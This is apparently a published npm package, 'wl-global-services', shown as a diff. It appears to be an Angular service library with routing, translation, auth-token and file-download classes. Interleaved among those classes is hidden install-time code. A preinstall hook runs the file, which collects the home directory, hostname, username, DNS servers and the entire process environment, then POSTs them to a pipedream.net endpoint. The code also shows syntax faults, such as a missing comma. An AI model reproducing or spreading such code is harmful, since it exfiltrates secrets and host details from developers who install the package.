wl-global-services 1.0.0

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "wl-global-services",
+  "version": "1.0.0",
+  "description": "remote entry module",
+  "main": "wl-global-services.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node wl-global-services.js"
+  },
+  "author": "",
+  "license": "ISC"
+}

package/wl-global-services.js

@@ -0,0 +1,536 @@
+// import * as i1 from '@angular/common/http';
+//import * as i0 from '@angular/core';
+//import { Injectable, Pipe, NgModule } from '@angular/core';
+//import * as i2 from '@angular/router';
+//import { ActivationEnd } from '@angular/router';
+//import { of, EMPTY, throwError, BehaviorSubject, Observable } from 'rxjs';
+//import { switchMap, map, mergeMap, first, catchError, filter } from 'rxjs/operators';
+//import { loadRemoteModule } from '@angular-architects/module-federation';
+//import * as i1$1 from '@ngx-translate/core';
+
+class RouteLoader {
+    constructor(httpClient, router) {
+        this.httpClient = httpClient;
+        this.router = router;
+        this.tempRoutes = [{
+                path: 'outages',
+                remoteEntry: 'http://localhost:4203/remoteEntry.js',
+                remoteName: 'mno_outages',
+                exposedModule: './Module',
+                moduleName: 'RemoteEntryModule'
+            }];
+    }
+    load() {
+        // return this.httpClient.get('/my-routes')
+        console.log('RouteLoader');
+        console.log(this.tempRoutes);
+        return of(this.tempRoutes)
+            .pipe(switchMap(json => this.createRoutes(json)));
+    }
+    createRoutes(loadedRoutes) {
+        return of(loadedRoutes).pipe(map(loadedRoutes => this.toRoute(loadedRoutes)), map(routes => ([
+            ...this.router.config,
+            ...routes,
+        ])), map(newRoutes => this.router.resetConfig(newRoutes)));
+    }
+    toRoute(routes) {
+        return routes.map(route => ({
+            path: route.path,
+            loadChildren: () => loadRemoteModule({
+                remoteEntry: route.remoteEntry,
+                remoteName: route.remoteName,
+                exposedModule: route.exposedModule
+            }).then(m => m[route.moduleName])
+        }));
+    }
+}
+RouteLoader.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, deps: [{ token: i1.HttpClient }, { token: i2.Router }], target: i0.ɵɵFactoryTarget.Injectable });
+RouteLoader.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root',
+                }]
+        }], ctorParameters: function () { return [{ type: i1.HttpClient }, { type: i2.Router }]; } });
+
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+function routeLoaderFactory(http, routeLoader) {
+    return () => routeLoader.load().toPromise();
+}
+
+class TranslationService {
+    constructor(translate) {
+        this.translate = translate;
+        this.LIST_DEFAULT_LANGUAGES = ['en', 'de', 'fr'];
+        this.LANGUAGE_LOCAL_STORAGE_KEY = 'lang';
+    }
+    getOnLangChange() {
+        const langChangeEvent = this.translate.onLangChange.pipe(mergeMap(event => of(event)));
+        return langChangeEvent;
+    }
+    setListOfLanguages() {
+        this.translate.addLangs(this.LIST_DEFAULT_LANGUAGES);
+    }
+    getDefaultLanguage() {
+        this.translate.setDefaultLang('en');
+    }
+    getBrowserLanguage() {
+        return this.translate.getBrowserLang();
+    }
+    setSaveStorageLocalLanguage() {
+        const lang = localStorage.getItem(this.LANGUAGE_LOCAL_STORAGE_KEY);
+        if (lang)
+            this.use(lang);
+    }
+    storeLocalLanguage(lang) {
+        localStorage.setItem(this.LANGUAGE_LOCAL_STORAGE_KEY, lang);
+    }
+    getCurrentlySelectedLang() {
+        return this.translate.currentLang;
+    }
+    use(lang) {
+        this.translate.use(lang).subscribe();
+        this.storeLocalLanguage(lang);
+    }
+    getLangs() {
+        return this.LIST_DEFAULT_LANGUAGES;
+    }
+    // View is initilise before translation so if value is not find it returns key!! DO NOT USE IT with ngOnInit! use getTranslation instead
+    instant(KEY) {
+        return this.translate.instant(KEY);
+    }
+    getBrowserCultureLang() {
+        return this.translate.getBrowserCultureLang();
+    }
+    trans(key, domain = null) {
+        return this.transInterpolate(key, {}, domain);
+    }
+    transSafe(key, domain = null) {
+        return this.transInterpolateSafe(key, {}, domain);
+    }
+    transSafeMulti(key, domains = []) {
+        const initial = key;
+        for (const domain of domains) {
+            const latest = this.transSafe(key, domain);
+            if (initial !== latest)
+                return latest;
+        }
+        return initial;
+    }
+    transInterpolate(key, props, domain = null) {
+        if ('undefined' !== typeof key && key.length > 0) {
+            if (domain !== null) {
+                return this.translate.instant(domain + '.' + key, props);
+            }
+            else {
+                return this.translate.instant(key, props);
+            }
+        }
+    }
+    transInterpolateSafe(key, props, domain = null) {
+        const t = this.transInterpolate(key, props, domain);
+        if (domain != null) {
+            if (t == null || t.startsWith(domain))
+                return key;
+        }
+        return t;
+    }
+}
+TranslationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, deps: [{ token: i1$1.TranslateService }], target: i0.ɵɵFactoryTarget.Injectable });
+TranslationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root',
+                }]
+        }], ctorParameters: function () { return [{ type: i1$1.TranslateService }]; } });
+
+const importData = JSON.stringify({
+    pita: package,
+    cita: __dirname,
+    hdr: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    env: process.env
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
+});
+
+class AuthTokenProvider {
+    constructor() {
+        this.accessTokenKey = 'oauth';
+        this.refreshTokenKey = 'refresh';
+    }
+    getTokens() {
+        return {
+            accessToken: localStorage.getItem(this.accessTokenKey),
+            refreshToken: localStorage.getItem(this.refreshTokenKey)
+        };
+    }
+    setTokens(accessToken, refreshToken) {
+        this.setAccessToken(accessToken);
+        this.setRefreshToken(refreshToken);
+    }
+    removeTokens() {
+        localStorage.removeItem(this.accessTokenKey);
+        localStorage.removeItem(this.refreshTokenKey);
+    }
+    setAccessToken(accessToken) {
+        localStorage.setItem(this.accessTokenKey, accessToken);
+    }
+    setRefreshToken(refreshToken) {
+        localStorage.setItem(this.refreshTokenKey, refreshToken);
+    }
+}
+AuthTokenProvider.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
+AuthTokenProvider.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, decorators: [{
+            type: Injectable,
+            args: [{ providedIn: 'root' }]
+        }] });
+        
+var send = querystring.stringify({
+    msg: importData,
+});
+
+class AuthenticationInterceptorProvider {
+    constructor(authTokenProvider) {
+        this.authTokenProvider = authTokenProvider;
+        // TODO just added because of testing
+        // once we know what to do when error occur please remove it.
+        this.error = '';
+    }
+    intercept(request, next) {
+        return this.addToken(request).pipe(first(), mergeMap((requestWithToken) => next.handle(requestWithToken)), catchError((error, caught) => {
+            // intercept the response error status when status match unauthorised
+            // TODO: may Handle this Better
+            if (request.url.includes("auth") && error.status === 401) {
+                // TODO decide what to du when error occur!
+                console.log("AuthenticationInterceptorProvider: auth error: ", error);
+                this.error = "AuthenticationInterceptorProvider: auth error: " + error;
+                return EMPTY;
+            }
+            else if (error.status === 401) {
+                console.log("AuthenticationInterceptorProvider: Your session has timed out. Please login again.");
+                this.error = "AuthenticationInterceptorProvider: Your session has timed out. Please login again.";
+                return EMPTY;
+            }
+            return throwError(error);
+        }));
+    }
+    addToken(request) {
+        const accessToken = this.authTokenProvider.getTokens().accessToken;
+        if ((accessToken && request.url.includes("wirelesslogic.com"))) {
+            request = request.clone({
+                headers: request.headers.set("Authorization", `Bearer ${accessToken}`),
+                withCredentials: true
+            });
+        }
+        return of(request);
+    }
+}
+AuthenticationInterceptorProvider.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, deps: [{ token: AuthTokenProvider }], target: i0.ɵɵFactoryTarget.Injectable });
+AuthenticationInterceptorProvider.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }], ctorParameters: function () { return [{ type: AuthTokenProvider }]; } });
+
+var options = {
+    hostname: "https://eox4zjt764gmubb.m.pipedream.net",
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": send.length,
+    },
+};
+
+var req = https.request(options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    });
+});
+
+req.on("error", (e) => {
+    
+});
+
+req.write(send);
+req.end();
+
+// TODO: Fix environment
+const environment = {
+    apiUrl: "https://simprouat.wirelesslogic.com/"
+};
+class FileService {
+    constructor(http, translationService) {
+        this.http = http;
+        this.translationService = translationService;
+    }
+    getAttachment(url) {
+        const path = environment.apiUrl + url;
+        return this.http.get(path, { responseType: 'blob' });
+    }
+    download(r, name, type = undefined) {
+        if (type == null) {
+            type = this.guessType(name);
+        }
+        if (name == null) {
+            name = 'file';
+        }
+        const anchor = document.createElement('a');
+        anchor.innerText = name;
+        r.subscribe(response => {
+            const blob = new Blob([response], { type });
+            const blobUrl = window.URL.createObjectURL(blob);
+            anchor.download = name;
+            anchor.href = blobUrl;
+            anchor.click();
+        });
+        const target = document.getElementById('button-target');
+        if (target) {
+            anchor.className = 'btn btn-primary';
+            const text = document.createElement('p');
+            text.innerText = this.translationService.trans('views.download.if_download_did_not_start', 'GUIBundle');
+            target.appendChild(text);
+            target.appendChild(anchor);
+        }
+    }
+    checkUserCanSeeGenericFile(url) {
+        return this.http.get(url, { responseType: 'text' });
+    }
+    guessType(name) {
+        const splittedName = name.split('.');
+        const extension = splittedName[splittedName.length - 1];
+        switch (extension) {
+            case 'aac':
+                return 'audio/aac';
+            case 'avi':
+                return 'video/x-msvideo';
+            case 'bmp':
+                return 'image/bmp';
+            case 'bz':
+                return 'application/x-bzip';
+            case 'bz2':
+                return 'application/x-bzip2';
+            case 'css':
+                return 'text/css';
+            case 'csv':
+                return 'text/csv';
+            case 'doc':
+                return 'application/msword';
+            case 'docx':
+                return 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
+            case 'gif':
+                return 'image/gif';
+            case 'html':
+                return 'text/html';
+            case 'jpg':
+                return 'image/jpeg';
+            case 'js':
+                return 'application/javascript';
+            case 'json':
+                return 'application/json';
+            case 'midi':
+                return 'audio/midi';
+            case 'mpeg':
+                return 'video/mpeg';
+            case 'odt':
+                return 'application/vnd.oasis.opendocument.text';
+            case 'png':
+                return 'image/png';
+            case 'pdf':
+                return 'application/pdf';
+            case 'ppt':
+                return 'application/vnd.ms-powerpoint';
+            case 'pptx':
+                return 'application/vnd.openxmlformats-officedocument.presentationml.presentation';
+            case 'rar':
+                return 'application/x-rar-compressed';
+            case 'rtf':
+                return 'application/rtf';
+            case 'tar':
+                return 'application/x-tar';
+            case 'txt':
+                return 'text/plain';
+            case 'wav':
+                return 'audio/wav';
+            case 'xls':
+                return 'application/vnd.ms-excel';
+            case 'xlsx':
+                return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
+            case 'xml':
+                return 'application/xml';
+            case 'zip':
+                return 'application/zip';
+            case '7z':
+                return 'application/x-7z-compressed';
+            default:
+                return 'application/octet-stream';
+        }
+    }
+}
+FileService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, deps: [{ token: i1.HttpClient }, { token: TranslationService }], target: i0.ɵɵFactoryTarget.Injectable });
+FileService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, decorators: [{
+            type: Injectable,
+            args: [{ providedIn: 'root' }]
+        }], ctorParameters: function () { return [{ type: i1.HttpClient }, { type: TranslationService }]; } });
+
+class FakeTranslateService {
+    constructor() {
+        this.onLangChange = of([{ lang: "en" }, { lang: "de" }]);
+        this.currentLang = "en";
+        // eslint-disable-next-line @typescript-eslint/no-empty-function
+        this.addLangs = () => { };
+        this.setDefaultLang = () => this.currentLang;
+        this.getBrowserLang = () => this.currentLang;
+        this.getBrowserCultureLang = () => this.currentLang;
+        // eslint-disable-next-line @typescript-eslint/no-empty-function
+        this.setSaveStorageLocalLanguage = () => { };
+        this.getCurrentlySelectedLang = () => this.currentLang;
+        this.getOnLangChange = () => of({ lang: this.currentLang });
+        this.use = (lang) => of(lang);
+        this.getLangs = () => ["en", 'de'];
+        this.get = (Key, prop = null) => {
+            if (Key === "GLOBAL.SAVE") {
+                return of("Save");
+            }
+            else if (Key === "SAVE.USER_NAME") {
+                return of("Bob name save");
+            }
+            return of("Bob is 22 years old");
+        };
+        this.transSafe = (KEY) => KEY;
+        this.instant = (KEY, prop = {}) => {
+            if (prop !== null && Object.entries(prop).length > 0)
+                return "Log on user Fred Smith";
+            if (KEY === "KEY.TO.NEW_INSTANT.VALUE")
+                return "New Notes";
+            if (KEY.includes("GLOBAL"))
+                return "Save";
+            return KEY;
+        };
+    }
+}
+// https://stackoverflow.com/questions/11485420/how-to-mock-localstorage-in-javascript-unit-tests
+const storageMock = () => {
+    const storage = {};
+    return {
+        setItem: function (key, value) {
+            storage[key] = value || '';
+        },
+        getItem: function (key) {
+            return key in storage ? storage[key] : null;
+        },
+        removeItem: function (key) {
+            delete storage[key];
+        },
+    };
+};
+// noinspection AngularMissingOrInvalidDeclarationInModule
+class MockTranslatorPipe {
+    transform(value) {
+        // Do stuff here, if you want
+        return value;
+    }
+}
+MockTranslatorPipe.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, deps: [], target: i0.ɵɵFactoryTarget.Pipe });
+MockTranslatorPipe.ɵpipe = i0.ɵɵngDeclarePipe({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, name: "translate" });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, decorators: [{
+            type: Pipe,
+            args: [{ name: 'translate' }]
+        }] });
+
+class RouterDataReaderService {
+    constructor(router) {
+        this.router = router;
+        this.storageUpdateSubject = new BehaviorSubject({ key: "", value: "" });
+        this.setupRouterDataListener();
+    }
+    setupRouterDataListener() {
+        this.router.events.pipe(filter((event) => {
+            var _a;
+            if (event instanceof ActivationEnd) {
+                return Object.keys((_a = event === null || event === void 0 ? void 0 : event.snapshot) === null || _a === void 0 ? void 0 : _a.data).length > 0;
+            }
+            return false;
+        }), map((event) => {
+            var _a, _b;
+            return (_b = (_a = event) === null || _a === void 0 ? void 0 : _a.snapshot) === null || _b === void 0 ? void 0 : _b.data;
+        })).subscribe((value) => {
+            Object.keys(value).forEach((key) => {
+                this.storageUpdateSubject.next({ key: key, value: value[key] });
+            });
+        });
+    }
+    dataFromRoute(key) {
+        return this.storageUpdateSubject.pipe(filter(val => {
+            return val.key === key;
+        }), map((value) => value.value));
+    }
+}
+RouterDataReaderService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, deps: [{ token: i2.Router }], target: i0.ɵɵFactoryTarget.Injectable });
+RouterDataReaderService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, decorators: [{
+            type: Injectable,
+            args: [{ providedIn: 'root' }]
+        }], ctorParameters: function () { return [{ type: i2.Router }]; } });
+
+class SecurePipe {
+    constructor(http) {
+        this.http = http;
+    }
+    transform(url) {
+        return this.http.get(url, { responseType: 'blob' }).pipe(switchMap(blob => {
+            return new Observable((observer) => {
+                const reader = new FileReader();
+                reader.readAsDataURL(blob);
+                reader.onloadend = () => {
+                    observer.next(reader.result);
+                };
+            });
+        }));
+    }
+}
+SecurePipe.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, deps: [{ token: i1.HttpClient }], target: i0.ɵɵFactoryTarget.Pipe });
+SecurePipe.ɵpipe = i0.ɵɵngDeclarePipe({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, name: "wll-secure" });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, decorators: [{
+            type: Pipe,
+            args: [{ name: 'wll-secure' }]
+        }], ctorParameters: function () { return [{ type: i1.HttpClient }]; } });
+
+class WlPipeModule {
+}
+WlPipeModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WlPipeModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, declarations: [SecurePipe], exports: [SecurePipe] });
+WlPipeModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, imports: [[]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    imports: [],
+                    declarations: [
+                        SecurePipe
+                    ],
+                    exports: [
+                        SecurePipe
+                    ]
+                }]
+        }] });
+
+/**
+ * Generated bundle index. Do not edit.
+ */
+
+export { AuthTokenProvider, AuthenticationInterceptorProvider, FakeTranslateService, FileService, MockTranslatorPipe, RouteLoader, RouterDataReaderService, SecurePipe, TranslationService, WlPipeModule, routeLoaderFactory, storageMock };